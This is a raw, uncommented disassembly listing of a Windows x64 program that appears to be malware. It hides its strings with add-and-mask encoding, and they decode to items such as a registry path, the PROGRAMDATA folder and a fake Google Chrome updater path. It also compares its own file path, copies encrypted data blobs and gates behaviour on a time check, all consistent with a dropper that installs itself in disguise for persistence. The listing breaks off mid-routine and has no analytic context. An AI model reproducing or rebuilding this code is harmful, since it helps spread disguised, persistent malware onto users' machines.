lea rcx, [0x14000170c]
call fcn.1400014f0
cmp byte [0x14049f614], 0
je 0x140003711
lea rdx, [0x14049f600]
lea rcx, [rdx + 0x14]
movzx eax, word [rdx]
sub ax, 0x6a67
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400036f3
mov byte [0x14049f614], 0
mov word [rsp + 0x140], 0xc3
mov word [rsp + 0x142], 0xb9
mov word [rsp + 0x144], 0xcc
mov word [rsp + 0x146], 0xce
mov word [rsp + 0x148], 0xd0
mov word [rsp + 0x14a], 0xda
mov word [rsp + 0x14c], 0xdb
mov word [rsp + 0x14e], 0xd9
mov word [rsp + 0x150], 0xe0
mov word [rsp + 0x152], 0xc3
mov word [rsp + 0x154], 0xb4
mov word [rsp + 0x156], 0xc8
mov word [rsp + 0x158], 0xca
mov word [rsp + 0x15a], 0xcf
mov word [rsp + 0x15c], 0xd0
mov word [rsp + 0x15e], 0xd5
mov word [rsp + 0x160], 0xcc
mov word [rsp + 0x162], 0xc3
mov word [rsp + 0x164], 0xba
mov word [rsp + 0x166], 0xc0
mov word [rsp + 0x168], 0xba
mov word [rsp + 0x16a], 0xbb
mov word [rsp + 0x16c], 0xac
mov word [rsp + 0x16e], 0xb4
mov word [rsp + 0x170], 0xc3
mov word [rsp + 0x172], 0xaa
mov word [rsp + 0x174], 0xdc
mov word [rsp + 0x176], 0xd9
mov word [rsp + 0x178], 0xd9
mov word [rsp + 0x17a], 0xcc
mov word [rsp + 0x17c], 0xd5
mov word [rsp + 0x17e], 0xdb
mov word [rsp + 0x180], 0xaa
mov word [rsp + 0x182], 0xd6
mov word [rsp + 0x184], 0xd5
mov word [rsp + 0x186], 0xdb
mov word [rsp + 0x188], 0xd9
mov word [rsp + 0x18a], 0xd6
mov word [rsp + 0x18c], 0xd3
mov word [rsp + 0x18e], 0xba
mov word [rsp + 0x190], 0xcc
mov word [rsp + 0x192], 0xdb
mov word [rsp + 0x194], 0xc3
mov word [rsp + 0x196], 0xba
mov word [rsp + 0x198], 0xcc
mov word [rsp + 0x19a], 0xd9
mov word [rsp + 0x19c], 0xdd
mov word [rsp + 0x19e], 0xd0
mov word [rsp + 0x1a0], 0xca
mov word [rsp + 0x1a2], 0xcc
mov word [rsp + 0x1a4], 0xda
mov word [rsp + 0x1a6], 0xc3
mov word [rsp + 0x1a8], 0xcb
mov word [rsp + 0x1aa], 0xd6
mov word [rsp + 0x1ac], 0xda
mov word [rsp + 0x1ae], 0xdd
mov word [rsp + 0x1b0], 0xca
mov word [rsp + 0x1b2], 0x67
cmp byte [0x14049f618], 0
jne 0x14000399a
mov byte [0x14049f694], 1
mov eax, 0
lea rcx, [0x14049f620]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x3a
jne 0x140003971
mov byte [0x14049f618], 1
lea rcx, [0x1400016f2]
call fcn.1400014f0
cmp byte [0x14049f694], 0
je 0x1400039cc
lea rdx, [0x14049f620]
lea rcx, [rdx + 0x74]
movzx eax, word [rdx]
sub ax, 0x6a67
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400039ae
mov byte [0x14049f694], 0
lea rdx, [0x14049f600]
lea rcx, [0x14049f620]
call fcn.140006f98
lea rcx, [rsp + 0x140]
mov r8d, 0x130
lea rdx, [0x140496180]
call sub.msvcrt.dll_memcpy
cmp byte [0x14049f4a0], 0
jne 0x140003a40
mov byte [0x14049f5f0], 1
mov eax, 0
lea rcx, [0x14049f4c0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x98
jne 0x140003a15
mov byte [0x14049f4a0], 1
lea rcx, [0x140001726]
call fcn.1400014f0
cmp byte [0x14049f5f0], 0
je 0x140003a75
lea rdx, [0x14049f4c0]
lea rcx, [rdx + 0x130]
movzx eax, word [rdx]
add ax, 0x3379
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140003a57
mov byte [0x14049f5f0], 0
lea r8, [rsp + 0x1450]
lea r12, [rsp + 0x1660]
mov qword [rsp + 0x20], r8
lea r9, [0x14049f4c0]
mov rdx, r12
mov ecx, 0
call fcn.140006668
mov edx, dword [0x140041c20]
lea rbp, [0x14001d020]
mov rcx, rbp
call fcn.140001a71
lea rcx, [rsp + 0xe20]
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], r12
lea rax, [rsp + 0x1030]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
movsxd r9, dword [0x140041c20]
mov r8, rbp
mov edx, 0
call fcn.1400019f2
lea rbp, [rsp + 0xc10]
mov r8d, 0x208
mov edx, 0
mov rcx, rbp
call sub.msvcrt.dll_memset
mov rax, qword [rsi + 0x20]
mov rdx, qword [rax + 0x68]
mov rcx, rbp
call sub.msvcrt.dll_wcscat
lea rcx, [rsp + 0xa00]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0x93
mov word [rsp + 0x142], 0x7e
mov word [rsp + 0x144], 0xa6
mov word [rsp + 0x146], 0xa6
mov word [rsp + 0x148], 0x9e
mov word [rsp + 0x14a], 0xa3
mov word [rsp + 0x14c], 0x9c
mov word [rsp + 0x14e], 0x93
mov word [rsp + 0x150], 0x7a
mov word [rsp + 0x152], 0x9f
mov word [rsp + 0x154], 0xa9
mov word [rsp + 0x156], 0xa6
mov word [rsp + 0x158], 0xa4
mov word [rsp + 0x15a], 0x9c
mov word [rsp + 0x15c], 0x93
mov word [rsp + 0x15e], 0xac
mov word [rsp + 0x160], 0xa7
mov word [rsp + 0x162], 0x9b
mov word [rsp + 0x164], 0x98
mov word [rsp + 0x166], 0xab
mov word [rsp + 0x168], 0x9c
mov word [rsp + 0x16a], 0xa9
mov word [rsp + 0x16c], 0x65
mov word [rsp + 0x16e], 0x9c
mov word [rsp + 0x170], 0xaf
mov word [rsp + 0x172], 0x9c
mov word [rsp + 0x174], 0x37
cmp byte [0x14049f438], 0
jne 0x140003c8d
mov byte [0x14049f476], 1
mov eax, 0
lea rcx, [0x14049f440]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x1b
jne 0x140003c64
mov byte [0x14049f438], 1
lea rcx, [0x14000175d]
call fcn.1400014f0
cmp byte [0x14049f476], 0
je 0x140003cbf
lea rdx, [0x14049f440]
lea rcx, [rdx + 0x36]
movzx eax, word [rdx]
sub ax, 0x7037
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140003ca1
mov byte [0x14049f476], 0
mov word [rsp + 0x140], 0x87
mov word [rsp + 0x142], 0x89
mov word [rsp + 0x144], 0x86
mov word [rsp + 0x146], 0x7e
mov word [rsp + 0x148], 0x89
mov word [rsp + 0x14a], 0x78
mov word [rsp + 0x14c], 0x84
mov word [rsp + 0x14e], 0x7d
mov word [rsp + 0x150], pe_nt_image_headers64
mov word [rsp + 0x152], 0x83
mov word [rsp + 0x154], 0x7c
mov word [rsp + 0x156], 0x8a
mov word [rsp + 0x158], 0x74
mov word [rsp + 0x15a], 0x37
cmp byte [0x14049f478], 0
jne 0x140003d90
mov byte [0x14049f49c], 1
mov eax, 0
lea rcx, [0x14049f480]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x140003d67
mov byte [0x14049f478], 1
lea rcx, [0x140001743]
call fcn.1400014f0
cmp byte [0x14049f49c], 0
je 0x140003dc2
lea rdx, [0x14049f480]
lea rcx, [rdx + 0x1c]
movzx eax, word [rdx]
sub ax, 0x7037
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140003da4
mov byte [0x14049f49c], 0
lea rdx, [0x14049f480]
mov rcx, rbx
call fcn.140006724
mov rdx, rax
lea rcx, [rsp + 0xa00]
lea r8, [0x14049f440]
call fcn.140005ebe
test dil, dil
je 0x14000479d
lea rcx, [rsp + 0x140]
mov r8d, 0x490
lea rdx, [0x1404962c0]
call sub.msvcrt.dll_memcpy
cmp byte [0x14049ef88], 0
jne 0x140003e52
mov byte [0x14049f430], 1
mov eax, 0
lea rcx, [0x14049efa0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x248
jne 0x140003e27
mov byte [0x14049ef88], 1
lea rcx, [0x140001777]
call fcn.1400014f0
cmp byte [0x14049f430], 0
je 0x140003e87
lea rdx, [0x14049efa0]
lea rcx, [rdx + 0x490]
movzx eax, word [rdx]
add ax, 0x2f3b
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140003e69
mov byte [0x14049f430], 0
lea r8, [rsp + 0x1240]
lea rdx, [rsp + 0x1660]
lea rsi, [rsp + 0xa00]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r8
lea r9, [0x14049efa0]
mov ecx, 1
call fcn.140006668
lea rcx, [rsp + 0xc10]
mov rdx, rsi
call sub.msvcrt.dll__wcsicmp
test eax, eax
jne 0x140005219
mov edx, dword [0x140063840]
lea rcx, [0x140041c40]
call fcn.140001a71
movsxd rsi, dword [0x140063840]
mov word [rsp + 0x140], 0xd7
mov word [rsp + 0x142], 0xbd
mov word [rsp + 0x144], 0xdc
mov word [rsp + 0x146], 0xee
mov word [rsp + 0x148], 0xe0
mov word [rsp + 0x14a], 0xc9
mov word [rsp + 0x14c], 0xdc
mov word [rsp + 0x14e], 0xe8
mov word [rsp + 0x150], 0xe0
mov word [rsp + 0x152], 0xdf
mov word [rsp + 0x154], 0xca
mov word [rsp + 0x156], 0xdd
mov word [rsp + 0x158], 0xe5
mov word [rsp + 0x15a], 0xe0
mov word [rsp + 0x15c], 0xde
mov word [rsp + 0x15e], 0xef
mov word [rsp + 0x160], 0xee
mov word [rsp + 0x162], 0xd7
mov word [rsp + 0x164], 0xe6
mov word [rsp + 0x166], 0xec
mov word [rsp + 0x168], 0xdd
mov word [rsp + 0x16a], 0xe2
mov word [rsp + 0x16c], 0xf4
mov word [rsp + 0x16e], 0xdd
mov word [rsp + 0x170], 0xde
mov word [rsp + 0x172], 0xe0
mov word [rsp + 0x174], 0xee
mov word [rsp + 0x176], 0xeb
mov word [rsp + 0x178], 0x7b
cmp byte [0x14049ed60], 0
jne 0x140004057
mov byte [0x14049edba], 1
mov eax, 0
lea rcx, [0x14049ed80]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x1d
jne 0x14000402e
mov byte [0x14049ed60], 1
lea rcx, [0x140001800]
call fcn.1400014f0
cmp byte [0x14049edba], 0
je 0x140004089
lea rdx, [0x14049ed80]
lea rcx, [rdx + 0x3a]
movzx eax, word [rdx]
add ax, 0x785
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x14000406b
mov byte [0x14049edba], 0
lea rcx, [rsp + 0xe20]
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x1660]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1030]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [0x140041c40]
lea rdx, [0x14049ed80]
call fcn.1400019f2
lea rcx, [rsp + 0x7f0]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0x45
mov word [rsp + 0x142], 0x30
mov word [rsp + 0x144], 0x58
mov word [rsp + 0x146], 0x58
mov word [rsp + 0x148], 0x50
mov word [rsp + 0x14a], 0x55
mov word [rsp + 0x14c], 0x4e
mov word [rsp + 0x14e], 0x45
mov word [rsp + 0x150], 0x35
mov word [rsp + 0x152], 0x52
mov word [rsp + 0x154], 0x4b
mov word [rsp + 0x156], 0x5c
mov word [rsp + 0x158], 0x45
mov word [rsp + 0x15a], 0xe9
cmp byte [0x14049ed00], 0
jne 0x1400041c0
mov byte [0x14049ed2c], 1
mov eax, 0
lea rcx, [0x14049ed10]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x140004197
mov byte [0x14049ed00], 1
lea rcx, [0x140001834]
call fcn.1400014f0
lea rcx, [0x14049ed10]
call fcn.14001af20
mov rsi, rax
mov word [rsp + 0x140], 0x39
mov word [rsp + 0x142], 0x3b
mov word [rsp + 0x144], 0x38
mov word [rsp + 0x146], 0x30
mov word [rsp + 0x148], 0x3b
mov word [rsp + 0x14a], 0x2a
mov word [rsp + 0x14c], 0x36
mov word [rsp + 0x14e], 0x2f
mov word [rsp + 0x150], 0x32
mov word [rsp + 0x152], 0x35
mov word [rsp + 0x154], 0x2e
mov word [rsp + 0x156], 0x3c
mov word [rsp + 0x158], 0x26
mov word [rsp + 0x15a], 0xe9
cmp byte [0x14049ed30], 0
jne 0x1400042a0
mov byte [0x14049ed5c], 1
mov eax, 0
lea rcx, [0x14049ed40]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x140004277
mov byte [0x14049ed30], 1
lea rcx, [0x14000181a]
call fcn.1400014f0
lea rcx, [0x14049ed40]
call fcn.14001af20
mov rdx, rax
mov rcx, rbx
call fcn.140006724
mov rdx, rax
lea rcx, [rsp + 0x7f0]
mov r8, rsi
call fcn.140005ebe
call fcn.1400055f7
mov ebx, eax
mov edx, dword [0x140494e60]
lea rcx, [0x140063860]
call fcn.140001a71
mov edx, dword [0x14049e044]
lea rcx, [0x14049e041]
call fcn.140001a71
mov ecx, 0
mov rsi, qword [sym.imp.msvcrt.dll__time64]
call rsi
mov ecx, eax
call sub.msvcrt.dll_srand
mov ecx, 0
call rsi
mov rsi, rax
cmp rax, 0x6552c74a
jle 0x140004353
call sub.msvcrt.dll_rand
mov ecx, eax
sub rsi, 0x6552c74a
mov r8d, 0x6540
mov rax, rsi
cqo
idiv r8
mov rsi, rax
mov r8d, 0x64
mov eax, ecx
cdq
idiv r8d
movsxd rdx, edx
cmp rsi, rdx
jg 0x140004a3b
cmp byte [0x14049e548], 0
jne 0x14000439a
mov byte [0x14049e558], 1
mov word [0x14049e550], 0x16
mov word [0x14049e552], 0x25
mov word [0x14049e554], 0x19
mov word [0x14049e556], 0xb1
mov byte [0x14049e548], 1
lea rcx, [0x1400018bb]
call fcn.1400014f0
cmp byte [0x14049e558], 0
je 0x1400043cc
lea rdx, [0x14049e550]
lea rcx, [rdx + 8]
movzx eax, word [rdx]
sub ax, 0x30b1
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x1400043ae
mov byte [0x14049e558], 0
mov word [rsp + 0x140], 0xd
mov word [rsp + 0x142], 0xf3
mov word [rsp + 0x144], 0x12
mov word [rsp + 0x146], 0x24
mov word [rsp + 0x148], 0x16
mov word [rsp + 0x14a], 0xff
mov word [rsp + 0x14c], 0x12
mov word [rsp + 0x14e], 0x1e
mov word [rsp + 0x150], 0x16
mov word [rsp + 0x152], 0x15
mov word [rsp + 0x154], 0
mov word [rsp + 0x156], 0x13
mov word [rsp + 0x158], 0x1b
mov word [rsp + 0x15a], 0x16
mov word [rsp + 0x15c], 0x14
mov word [rsp + 0x15e], 0x25
mov word [rsp + 0x160], 0x24
mov word [rsp + 0x162], 0xd
mov word [rsp + 0x164], 0x13
mov word [rsp + 0x166], 0x16
mov word [rsp + 0x168], 0x1e
mov word [rsp + 0x16a], 0x28
mov word [rsp + 0x16c], 0x19
mov word [rsp + 0x16e], 0x25
mov word [rsp + 0x170], 0x29
mov word [rsp + 0x172], 0x15
mov word [rsp + 0x174], 0x1e
mov word [rsp + 0x176], 0x26
mov word [rsp + 0x178], 0x12
mov word [rsp + 0x17a], 0x17
mov word [rsp + 0x17c], 0x1a
mov word [rsp + 0x17e], 0x1a
mov word [rsp + 0x180], 0x25
mov word [rsp + 0x182], 0x17
mov word [rsp + 0x184], 0xb1
cmp byte [0x14049e4f0], 0
jne 0x14000456f
mov byte [0x14049e546], 1
mov eax, 0
lea rcx, [0x14049e500]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x23
jne 0x140004546
mov byte [0x14049e4f0], 1
lea rcx, [0x1400018bc]
call fcn.1400014f0
cmp byte [0x14049e546], 0
je 0x1400045a1
lea rdx, [0x14049e500]
lea rcx, [rdx + 0x46]
movzx eax, word [rdx]
sub ax, 0x30b1
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140004583
mov byte [0x14049e546], 0
mov word [rsp + 0x140], 0xd
mov word [rsp + 0x142], 0x15
mov word [rsp + 0x144], 0x1a
mov word [rsp + 0x146], 0x12
mov word [rsp + 0x148], 0x1d
mov word [rsp + 0x14a], 0x16
mov word [rsp + 0x14c], 0x23
mov word [rsp + 0x14e], 0xdf
mov word [rsp + 0x150], 0x16
mov word [rsp + 0x152], 0x29
mov word [rsp + 0x154], 0x16
mov word [rsp + 0x156], 0xb1
cmp byte [0x14049e4c8], 0
jne 0x14000465e
mov byte [0x14049e4e8], 1
mov eax, 0
lea rcx, [0x14049e4d0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xc
jne 0x140004635
mov byte [0x14049e4c8], 1
lea rcx, [0x1400018d6]
call fcn.1400014f0
cmp byte [0x14049e4e8], 0
je 0x140004690
lea rdx, [0x14049e4d0]
lea rcx, [rdx + 0x18]
movzx eax, word [rdx]
sub ax, 0x30b1
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140004672
mov byte [0x14049e4e8], 0
lea rcx, [rsp + 0x140]
mov r8d, 0x424
lea rdx, [0x140496760]
call sub.msvcrt.dll_memcpy
cmp byte [0x14049e088], 0
jne 0x1400046f1
mov byte [0x14049e4c4], 1
mov eax, 0
lea rcx, [0x14049e0a0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x212
jne 0x1400046c6
mov byte [0x14049e088], 1
lea rcx, [0x1400018f0]
call fcn.1400014f0
cmp byte [0x14049e4c4], 0
je 0x140004726
lea rdx, [0x14049e0a0]
lea rcx, [rdx + 0x424]
movzx eax, word [rdx]
sub ax, 0x30b1
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140004708
mov byte [0x14049e4c4], 0
cmp byte [0x14049e070], 0
je 0x14000503f
cmp byte [0x14049e080], 0
je 0x140004765
lea rdx, [0x14049e078]
lea rcx, [rdx + 8]
movzx eax, word [rdx]
add ax, 0x6bd9
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140004747
mov byte [0x14049e080], 0
lea rdx, [0x14049e550]
lea rcx, [0x14049e078]
call sub.msvcrt.dll__wcsicmp
mov esi, eax
test eax, eax
jne 0x140005082
test bl, bl
jne 0x140005082
mov eax, 0
add rsp, 0x1a80
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea rcx, [rsp + 0x140]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x60], 0xef
mov word [rsp + 0x62], 5
mov word [rsp + 0x64], 0xf8
mov word [rsp + 0x66], 0xfa
mov word [rsp + 0x68], 0xc1
mov word [rsp + 0x6a], 0xf8
mov word [rsp + 0x6c], 0xb
mov word [rsp + 0x6e], 0xf8
mov word [rsp + 0x70], 0x93
cmp byte [0x14049ef68], 0
jne 0x140004836
mov byte [0x14049ef82], 1
mov eax, 0
lea rcx, [0x14049ef70]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 9
jne 0x140004810
mov byte [0x14049ef68], 1
lea rcx, [0x140001794]
call fcn.1400014f0
cmp byte [0x14049ef82], 0
je 0x140004868
lea rdx, [0x14049ef70]
lea rcx, [rdx + 0x12]
movzx eax, word [rdx]
add ax, 0x176d
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x14000484a
mov byte [0x14049ef82], 0
lea rdx, [rsp + 0x1660]
lea rcx, [rsp + 0x140]
lea r8, [0x14049ef70]
call fcn.140005ebe
lea rdi, [rsp + 0x60]
lea rsi, str._l9z9_ad_nulh_mpZkuf
mov ecx, 0x38
rep movsd dword [rdi], dword [rsi]
cmp byte [0x14049ee60], 0
jne 0x1400048d9
mov byte [0x14049ef60], 1
mov eax, 0
lea rcx, [0x14049ee80]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x70
jne 0x1400048b3
mov byte [0x14049ee60], 1
lea rcx, [0x1400017ae]
call fcn.1400014f0
cmp byte [0x14049ef60], 0
je 0x14000490e
lea rdx, [0x14049ee80]
lea rcx, [rdx + 0xe0]
movzx eax, word [rdx]
add ax, 0x5be7
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400048f0
mov byte [0x14049ef60], 0
lea r8, [rsp + 0x140]
lea rdx, [rsp + 0x1660]
lea rsi, [rsp + 0xa00]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r8
lea r9, [0x14049ee80]
mov ecx, 1
call fcn.140006668
lea rcx, [rsp + 0xc10]
mov rdx, rsi
call sub.msvcrt.dll__wcsicmp
test eax, eax
je 0x140003ed7
lea rdx, [rsp + 0x5c]
lea rcx, [rsp + 0xc10]
call fcn.140006b25
mov rdx, rax
lea rcx, [rsp + 0xa00]
mov r8d, dword [rsp + 0x5c]
call fcn.140006c6a
cmp byte [0x14049edc0], 0
jne 0x1400049be
mov byte [0x14049edce], 1
mov word [0x14049edc8], 0x84
mov word [0x14049edca], 0xb2
mov word [0x14049edcc], 0x5f
mov byte [0x14049edc0], 1
lea rcx, [0x1400017ff]
call fcn.1400014f0
cmp byte [0x14049edce], 0
je 0x140004a10
movzx eax, word [0x14049edc8]
add ax, 0x1a1
and ax, 0xff
mov word [0x14049edc8], ax
movzx eax, word [0x14049edca]
add ax, 0x1a1
and ax, 0xff
mov word [0x14049edca], ax
movzx eax, word [0x14049edcc]
add ax, 0x1a1
and ax, 0xff
mov word [0x14049edcc], ax
mov byte [0x14049edce], 0
lea r8, [rsp + 0xa00]
lea rdx, [rsp + 0x1660]
mov qword [rsp + 0x20], r8
lea r9, [0x14049edc8]
mov ecx, 0
call fcn.140006668
jmp 0x14000478a
cmp byte [0x14049ece8], 0
jne 0x140004a82
mov byte [0x14049ecf8], 1
mov word [0x14049ecf0], 0xea
mov word [0x14049ecf2], 0xf9
mov word [0x14049ecf4], 0xed
mov word [0x14049ecf6], 0x85
mov byte [0x14049ece8], 1
lea rcx, [0x14000184e]
call fcn.1400014f0
cmp byte [0x14049ecf8], 0
je 0x140004ab4
lea rdx, [0x14049ecf0]
lea rcx, [rdx + 8]
movzx eax, word [rdx]
sub ax, 0x7c85
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140004a96
mov byte [0x14049ecf8], 0
mov word [rsp + 0x140], 0xe1
mov word [rsp + 0x142], 0xc7
mov word [rsp + 0x144], 0xe6
mov word [rsp + 0x146], 0xf8
mov word [rsp + 0x148], 0xea
mov word [rsp + 0x14a], 0xd3
mov word [rsp + 0x14c], 0xe6
mov word [rsp + 0x14e], 0xf2
mov word [rsp + 0x150], 0xea
mov word [rsp + 0x152], 0xe9
mov word [rsp + 0x154], 0xd4
mov word [rsp + 0x156], 0xe7
mov word [rsp + 0x158], 0xef
mov word [rsp + 0x15a], 0xea
mov word [rsp + 0x15c], 0xe8
mov word [rsp + 0x15e], 0xf9
mov word [rsp + 0x160], 0xf8
mov word [rsp + 0x162], 0xe1
mov word [rsp + 0x164], 0xe7
mov word [rsp + 0x166], 0xea
mov word [rsp + 0x168], 0xf2
mov word [rsp + 0x16a], 0xfc
mov word [rsp + 0x16c], 0xed
mov word [rsp + 0x16e], 0xf9
mov word [rsp + 0x170], 0xfd
mov word [rsp + 0x172], 0xe9
mov word [rsp + 0x174], 0xf2
mov word [rsp + 0x176], 0xfa
mov word [rsp + 0x178], 0xe6
mov word [rsp + 0x17a], 0xeb
mov word [rsp + 0x17c], 0xee
mov word [rsp + 0x17e], 0xee
mov word [rsp + 0x180], 0xf9
mov word [rsp + 0x182], 0xeb
mov word [rsp + 0x184], 0x85
cmp byte [0x14049ec90], 0
jne 0x140004c57
mov byte [0x14049ece6], 1
mov eax, 0
lea rcx, [0x14049eca0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x23
jne 0x140004c2e
mov byte [0x14049ec90], 1
lea rcx, [0x14000184f]
call fcn.1400014f0
cmp byte [0x14049ece6], 0
je 0x140004c89
lea rdx, [0x14049eca0]
lea rcx, [rdx + 0x46]
movzx eax, word [rdx]
sub ax, 0x7c85
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140004c6b
mov byte [0x14049ece6], 0
mov word [rsp + 0x140], 0xe1
mov word [rsp + 0x142], 0xe9
mov word [rsp + 0x144], 0xee
mov word [rsp + 0x146], 0xe6
mov word [rsp + 0x148], 0xf1
mov word [rsp + 0x14a], 0xea
mov word [rsp + 0x14c], 0xf7
mov word [rsp + 0x14e], 0xb3
mov word [rsp + 0x150], 0xea
mov word [rsp + 0x152], 0xfd
mov word [rsp + 0x154], 0xea
mov word [rsp + 0x156], 0x85
cmp byte [0x14049ec68], 0
jne 0x140004d46
mov byte [0x14049ec88], 1
mov eax, 0
lea rcx, [0x14049ec70]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xc
jne 0x140004d1d
mov byte [0x14049ec68], 1
lea rcx, [0x140001869]
call fcn.1400014f0
cmp byte [0x14049ec88], 0
je 0x140004d78
lea rdx, [0x14049ec70]
lea rcx, [rdx + 0x18]
movzx eax, word [rdx]
sub ax, 0x7c85
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140004d5a
mov byte [0x14049ec88], 0
lea rcx, [rsp + 0x140]
mov r8d, 0x6a4
lea rdx, [0x140496c80]
call sub.msvcrt.dll_memcpy
cmp byte [0x14049e5a8], 0
jne 0x140004dd9
mov byte [0x14049ec64], 1
mov eax, 0
lea rcx, [0x14049e5c0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x352
jne 0x140004dae
mov byte [0x14049e5a8], 1
lea rcx, [0x140001883]
call fcn.1400014f0
cmp byte [0x14049ec64], 0
je 0x140004e0e
lea rdx, [0x14049e5c0]
lea rcx, [rdx + 0x6a4]
movzx eax, word [rdx]
sub ax, 0x7c85
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140004df0
mov byte [0x14049ec64], 0
cmp byte [0x14049e590], 0
jne 0x140004e55
mov byte [0x14049e5a0], 1
mov word [0x14049e598], 4
mov word [0x14049e59a], 0x13
mov word [0x14049e59c], 7
mov word [0x14049e59e], 0x9f
mov byte [0x14049e590], 1
lea rcx, [0x1400018a0]
call fcn.1400014f0
cmp byte [0x14049e5a0], 0
je 0x140004e87
lea rdx, [0x14049e598]
lea rcx, [rdx + 8]
movzx eax, word [rdx]
add ax, 0x2761
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140004e69
mov byte [0x14049e5a0], 0
lea rdx, [0x14049ecf0]
lea rcx, [0x14049e598]
call sub.msvcrt.dll__wcsicmp
mov esi, eax
test eax, eax
jne 0x140004ea8
test bl, bl
je 0x14000478a
lea rcx, [rsp + 0x140]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x60], 0xb9
mov word [rsp + 0x62], 0xc2
mov word [rsp + 0x64], 0xd5
mov word [rsp + 0x66], 0xcd
mov word [rsp + 0x68], 0xc9
mov word [rsp + 0x6a], 0xcc
mov word [rsp + 0x6c], 0xcf
mov word [rsp + 0x6e], 0xc2
mov word [rsp + 0x70], 0xcf
mov word [rsp + 0x72], 0x8b
mov word [rsp + 0x74], 0xc2
mov word [rsp + 0x76], 0xd5
mov word [rsp + 0x78], 0xc2
mov word [rsp + 0x7a], 0x5d
cmp byte [0x14049e560], 0
jne 0x140004f64
mov byte [0x14049e58c], 1
mov eax, 0
lea rcx, [0x14049e570]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x140004f3e
mov byte [0x14049e560], 1
lea rcx, [0x1400018a1]
call fcn.1400014f0
cmp byte [0x14049e58c], 0
je 0x140004f96
lea rdx, [0x14049e570]
lea rcx, [rdx + 0x1c]
movzx eax, word [rdx]
sub ax, 0x205d
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140004f78
mov byte [0x14049e58c], 0
lea rdx, [0x14049ec70]
lea rcx, [0x14049e570]
call sub.msvcrt.dll__wcsicmp
lea rdx, [rsp + 0x1660]
test eax, eax
jne 0x140004fbd
lea rdx, [rsp + 0x1870]
lea rcx, [rsp + 0x140]
lea r8, [0x14049ec70]
call fcn.140005ebe
test esi, esi
jne 0x14000502f
movsxd r9, dword [0x140494e60]
lea r8, [0x140063860]
lea rcx, [rsp + 0xe20]
mov dword [rsp + 0x40], 1
lea rax, [0x14049e5c0]
mov qword [rsp + 0x38], rax
